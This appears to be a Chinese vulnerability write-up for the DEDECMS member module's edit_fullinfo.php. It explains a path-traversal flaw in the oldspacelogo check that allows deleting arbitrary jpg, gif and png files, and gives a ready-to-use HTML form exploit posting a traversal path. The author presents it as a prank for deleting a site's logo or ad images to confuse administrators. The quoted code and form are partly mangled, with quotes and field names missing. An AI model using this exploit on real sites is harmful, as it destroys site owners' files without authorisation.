影响版本:DEDECMS
官方网站:

漏洞类型:设计缺陷
漏洞描述:

edit_fullinfo.php

if($dopost==save) //edit_fullinfo.php?dopost=save 就来到这步了   

{    $oldspacelogo=(empty($oldspacelogo))? "" : $oldspacelogo; //没有做任何过滤   

$spacelogo=(empty($spacelogo))? "" : $spacelogo;    $pagesize=(empty($pagesize))? "" : $pagesize;    $sign=(empty($sign))? "" : $sign;    $spacenews =(empty($spacenews))? "" : $spacenews;    $spacename =(empty($spacename))? "" : $spacename;    $maxlength = $cfg_max_face * 1024;    $userdir = $cfg_user_dir./.$cfg_ml->M_ID;    //$userdir就是当前用户ID的图片文件夹 例如 uploadsuserup4    if(!ereg(^.$userdir, $oldspacelogo)) //这里绕过简单得很 uploads/userup/4/../../../ 既可绕过 

{    $oldspacelogo = ;    }    if(is_uploaded_file($spacelogo)) //这里要一定随便一个文件图片文件上传   

{    if(@filesize($_FILES[spacelogo][tmp_name]) > $maxlength)    {    howMsg("你上传的Logo文件超过了系统限制大小:{$cfg_max_face} K!", -1);    exit();    } //这里是检测图片大小 你找一个1KB的就行了    //删除旧图片(防止文件扩展名不同,如:原来的是gif,后来的是jpg) 这短话是官方留下的  

if(eregi(".(jpg|gif|png)$", $oldspacelogo) && file_exists($cfg_basedir.$oldspacelogo))    {    //由于这里不能被绕过 所以只能删除网站所有的JPG GIF PNG这样后缀的文件 所以才叫恶作剧    @unlink($cfg_basedir.$oldspacelogo)    }   EXP

<form enctype="multipart/form-data" action="https://www.2cto.com/member/edit_space_info.php" method="post">   

Upload a new file:   

<input type="file" size="50" value="spacelogo"> 

<label>    <input type="text" value="save" />    </label>    <label> 

<input type="text" value="/uploads/userup/111/../../../sb/11.jpg" />    //uploads/userup/111/ 这个路径自己上传一张图片后就能获得 /sb/11.jpg 为要删除图片的路径 这里很简单 不明白的拿块豆腐砸死自己自杀把   

</label>   

<label>  

<input type="text" value="t00ls" />   

</label>   

<label>   

<input type="text" value="10" />  

</label> 

<input type="submit" value="Upload" >    </form>  

哈 这样就能删除网站任何的JPG GIF PNG格式文件 恶作剧就是把LOGO删除了 或者某些广告图片删除 等管理员模糊